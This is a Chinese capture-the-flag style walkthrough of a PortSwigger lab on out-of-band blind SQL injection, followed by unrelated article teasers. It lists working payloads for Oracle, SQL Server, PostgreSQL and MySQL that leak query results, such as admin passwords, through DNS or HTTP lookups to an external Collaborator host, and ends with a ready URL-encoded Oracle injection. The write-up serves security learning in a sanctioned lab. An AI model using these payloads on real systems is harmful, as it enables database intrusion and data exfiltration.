PortSwigger靶场之Blind SQL injection with out-of-band interaction通关秘籍

一、题目分析

该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询是异步执行的,不会对应用程序的响应产生影响。不过,我们可以与外部域触发非带内交互。要解决此漏洞,需利用 SQL 注入漏洞,从而引发对 Burp Collaborator 的 DNS 查询操作。同时PortSwigger靶场提醒我们注意为防止 Academy 平台被用于攻击第三方,他们的防火墙会阻止实验室与任意外部系统的交互。要解决此问题,我们必须使用 Burp Collaborator 的默认公共服务器。

接下来我们引入一下sql注入的类型理论知识为我们解决本关打下基础

二、SQL 注入的类型

SQL 注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,从而干扰应用程序对其数据库的查询。这可能导致数据泄露、数据篡改,甚至完全控制数据库服务器。

SQL 注入主要分为以下几种类型:

1. 带内(In-band)SQL 注入

带内 SQL 注入是最常见也是最直接的类型,攻击者可以使用相同的通信渠道发送攻击和接收结果。它又可以细分为:

  • 基于错误的 SQL 注入 (Error-based SQLi): 攻击者故意使数据库返回错误消息,这些错误消息中包含了敏感信息(如数据库结构、列名等)。通过分析这些错误,攻击者可以逐步推断出数据库的布局。

  • 基于联合查询的 SQL 注入 (Union-based SQLi): 攻击者利用 UNION 运算符将一个恶意的 SELECT 查询的结果与原始查询的结果合并。这使得攻击者能够从数据库中检索任意数据,并将其显示在应用程序的正常输出中。

2. 推断(Inferential)SQL 注入 (也称为盲注入)

推断 SQL 注入发生在攻击者无法直接从数据库获取数据的情况下。相反,攻击者根据应用程序响应的行为或时间来推断数据库的信息。这种类型的注入通常需要更长的时间来执行,但仍然非常有效。

  • 基于布尔的盲注入 (Boolean-based Blind SQLi): 攻击者发送一系列 SQL 查询,这些查询会根据结果的真假导致应用程序的响应有所不同(例如,页面显示或不显示)。通过观察这些布尔响应,攻击者可以逐个字符地推断出数据库中的数据。

  • 基于时间的盲注入 (Time-based Blind SQLi): 攻击者发送的 SQL 查询中包含一个时间延迟函数(如 SLEEP()BENCHMARK())。如果查询中的条件为真,数据库将执行延迟,从而导致应用程序响应时间变长。攻击者通过测量响应时间来判断条件是否成立,以此推断出数据。

以上两种SQL注入我们都在之前的靶场学习过了,接下来我们来学习带外sql注入,这关主要是让我们浅浅尝试

3. 带外(Out-of-band)SQL 注入

带外 SQL 注入是一种不常见的类型,它发生在攻击者无法使用与应用程序相同的通信渠道获取结果时。在这种情况下,攻击者利用数据库服务器的某些功能(如 DNS 查询或 HTTP 请求)将数据发送到自己控制的外部服务器。这种攻击通常用于无法通过带内或推断技术提取数据的高级场景。

  • 通过 DNS 请求的带外 SQL 注入: 攻击者利用数据库的某些函数(如 LOAD_FILE()UTL_HTTP)触发一个 DNS 查询到攻击者控制的域名。查询的子域名部分可以编码从数据库中提取的数据。

  • 通过 HTTP 请求的带外 SQL 注入: 攻击者使数据库服务器向攻击者控制的 HTTP 服务器发送请求,请求中包含了从数据库中提取的数据。

本关就是考察通过 DNS 请求的带外 SQL 注入。

三、带外注入语句

在butpsuite提供的cheat-sheet中,给出了各个数据库的外带语句:

下面是针对不同数据库的语句解释:

1. Oracle

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT YOUR-QUERY-HERE) || '.BURP-COLLABORATOR-SUBDOMAIN/">%remote;]>'),'/l1') FROM dual
  • 原理:利用 XML 类型解析错误来触发外部 HTTP 请求。

  • 解释

    1. EXTRACTVALUE(xmltype(...),'/l1'):这是一个 XML 解析函数,用于从 XML 数据中提取值。

    2. xmltype(...):这部分构造了一个畸形的 XML 文档,其中包含一个外部实体引用 <!ENTITY % remote SYSTEM "http://...">

    3. (SELECT YOUR-QUERY-HERE):这是你的注入查询,例如 (SELECT password FROM users WHERE username='admin')。它的结果会被拼接到 URL 中。

    4. .BURP-COLLABORATOR-SUBDOMAIN/:这是 Burp Collaborator 生成的唯一子域名。当 Oracle 尝试解析这个外部实体时,它会向该 URL 发送一个 HTTP 请求。

  • 结果:这里利用了 XML 解析器“需要”访问外部资源来完成解析的这一特性,而不是依赖于传统的 SQL 注入。即使解析最终会失败(因为 XML 文档结构不完整),在解析器尝试加载外部实体的那个瞬间,数据就已经被发送出去了。如果注入成功,Oracle 数据库会向一个包含查询结果的 URL 发送请求,攻击者可以在 Burp Collaborator 上接收到这个请求,从而获取数据。

2. Microsoft SQL Server

declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'')
  • 原理:利用 xp_dirtree 系统存储过程来触发 UNC 路径访问,从而导致 DNS 请求。

  • 解释

    1. declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);:声明一个变量 @p 并将你的注入查询结果赋值给它。

    2. exec('master.xp_dirtree //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a''):执行一个存储过程 xp_dirtree,它通常用于列出文件目录。这里巧妙地利用它来尝试访问一个网络共享路径。

    3. //'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a'':这是一个 UNC 路径(网络共享路径),它将你的查询结果 @p 嵌入到主机名中。

  • 结果:当 SQL Server 尝试访问这个 UNC 路径时,它会先执行一个 DNS 查询来解析主机名,这个查询包含了你的数据。攻击者可以在 DNS 服务器(如 Burp Collaborator)上捕获这个查询。

3. PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
end;
$$ language plpgsql security definer;
SELECT f();
  • 原理:创建一个临时函数,利用 copy 命令来执行外部程序 nslookup,从而触发 DNS 查询。

  • 解释

    1. create OR replace function f() ...:创建一个临时的 PL/pgSQL 函数 f()

    2. SELECT into p (SELECT YOUR-QUERY-HERE);:将你的注入查询结果存储到变量 p 中。

    3. execute c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''';:这是核心部分。copy ... to program ... 命令通常用于将查询结果导出到外部程序。这里它被滥用,通过 nslookup 命令向一个包含查询结果的域名发送 DNS 请求。

  • 结果:执行 SELECT f() 时,函数会执行 nslookup 命令,向包含查询结果的子域名发起 DNS 请求。

4. MySQL (Windows only)

SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
  • 原理:利用 INTO OUTFILE 语句将查询结果写入到一个网络共享路径,从而触发 DNS 查询。

  • 解释

    1. SELECT YOUR-QUERY-HERE INTO OUTFILE ...:将你的查询结果写入一个文件。

    2. \\\\BURP-COLLABORATOR-SUBDOMAIN\a:这是一个 UNC 路径。由于 MySQL 在 Windows 上执行此操作,它会尝试访问这个网络路径,并触发一个 DNS 查询来解析域名。

  • 结果:与 SQL Server 类似,MySQL 会向 Burp Collaborator 域名发送 DNS 请求,从而泄露查询结果。这个方法只在 MySQL 服务运行在 Windows 系统上时才有效。


5、开始尝试

我们从oracle开始尝试,只需要将.BURP-COLLABORATOR-SUBDOMAIN换成生成的地址。

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a///5syvatdg4musou1rj8t1c03qxh38rzfo.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

四、成功通关

学习参考:归去来兮-zangcc  【送书活动第2期】打靶Portswigger系列—— 一口气通关18个SQL注入靶场详细流程(文末送书)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/2848.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

相机激光安全等级和人眼安全

文章目录前言激光的生物学效应1.激光安全标准概述2.激光分类&#xff1a;评估风险2.1 1级(Class 1)2.2 1M级(Class 1M&#xff09;2.3 2级激光(Class 2&#xff09;2.4 2M级激光(Class 2M&#xff09;2.5 3R级激光(Class 3R)2.6 3B级激光(Class 3B&#xff09;2.7 4级激光(Clas…

破解豆瓣Ajax动态加载:Python爬取完整长评论和短评

在互联网数据采集领域&#xff0c;动态加载内容一直是爬虫开发者需要应对的重要挑战。豆瓣作为中国知名的文化内容社区&#xff0c;其评论系统采用了Ajax动态加载技术&#xff0c;传统的简单爬虫难以获取完整数据。本文将深入分析豆瓣的Ajax加载机制&#xff0c;并提供完整的Py…

设计模式学习笔记-----抽象责任链模式

抽象责任链体系由 5 个关键组件构成责任链上下文它是责任链的 "大脑"&#xff0c;负责处理器的注册、管理和执行调度&#xff0c;是整个模式的核心调度中心。abstractChainHandlerContainer&#xff1a;一个Map<String, List<AbstractChainHandler>>&…

【大前端】实现一个前端埋点SDK,并封装成NPM包

&#x1f680;来做一个支持 React 的前端埋点 SDK&#xff0c;并把它封装成 npm 包 的形式。整体分 3 部分&#xff1a; 核心 SDK&#xff08;独立的采集 & 上报逻辑&#xff09;React Hook / HOC 支持&#xff08;自动埋点&#xff1a;路由变化、组件渲染、点击事件&…

Leetcode+Java+dpI

509.斐波那契数斐波那契数 &#xff08;通常用 F(n) 表示&#xff09;形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始&#xff0c;后面的每一项数字都是前面两项数字的和。也就是&#xff1a;F(0) 0&#xff0c;F(1) 1 F(n) F(n - 1) F(n - 2)&#xff0c;其中 n >…

IntelliJ IDEA 新手入门教程-Java、Web、Maven创建(带图解)

&#xff08;以下内容大部分来自上述课程&#xff09; ps&#xff1a;本人用的是2021.3.2 1. 下载 可以参考图文&#xff0c;但破解我没试过&#xff1a;图文参考 中文插件&#xff1a;中文插件 ps&#xff1a;中文插件的文章是博客园的&#xff0c;直接一个idea新手专栏&a…

[React]Antd Upload组件上传多个文件

前言实现需求&#xff1a;上传多个文件。其实就是获取多个文件的绝对路径交给后端接口去处理。Upload组件 首先&#xff0c;这里不能调用Upload的onChange函数&#xff0c;因为上传中、完成、失败都会调用这个函数&#xff0c;在多个文件的情况下会出现多次调用问题。改用befor…

Java-多态

多态是 Java 面向对象三大特性&#xff08;封装、继承、多态&#xff09;中最灵活也最核心的概念之一。它允许我们用统一的方式处理不同的对象&#xff0c;大幅提升代码的扩展性和复用性。本文将结合实际案例&#xff0c;从概念、实现到应用&#xff0c;全面解析 Java 多态的核…

Redis常规指令及跳表

第一部分&#xff1a;Redis 常规指令Redis 是一个键值存储系统&#xff0c;其指令通常以 COMMAND KEY_NAME [ARGUMENTS...] 的形式存在。下面我们按照数据结构和功能来分类。1. 全局/键操作指令这些指令不特定于某一数据类型&#xff0c;适用于所有键。指令描述示例KEYS patter…

指纹云手机×Snapchat Spotlight:动态GPS+陀螺仪仿生方案

——基于时空坐标系重构与生物运动模拟的AR营销突破​​一、Snapchat Spotlight广告的技术困局​设备指纹关联风险​Snapchat通过陀螺仪基线值&#xff08;0.1误差&#xff09;和GPS坐标&#xff08;精度&#xff1c;5米&#xff09;构建设备指纹&#xff0c;相似度&#xff1e…

Java 编辑器与 IDE:开发者手中的利剑与盾牌

&#x1f525;个人主页&#xff1a;艾莉丝努力练剑 ❄专栏传送门&#xff1a;《C语言》、《数据结构与算法》、C语言刷题12天IO强训、LeetCode代码强化刷题、洛谷刷题、C/C基础知识知识强化补充、C/C干货分享&学习过程记录 &#x1f349;学习方向&#xff1a;C/C方向学习者…

不再让Windows更新!Edge游戏助手卸载及关闭自动更新

文章目录Windows系统更新问题方法一&#xff1a;通过注册表手动设置1. 打开注册表编辑器2. 定位到目标路径3. 创建新的DWORD值4. 修改数值方法二&#xff1a;命令行设置1. 打开命令提示符2. 输入命令验证设置是否生效恢复更新Edge关闭游戏助手Edge关闭后台运行Edge关闭自动更新…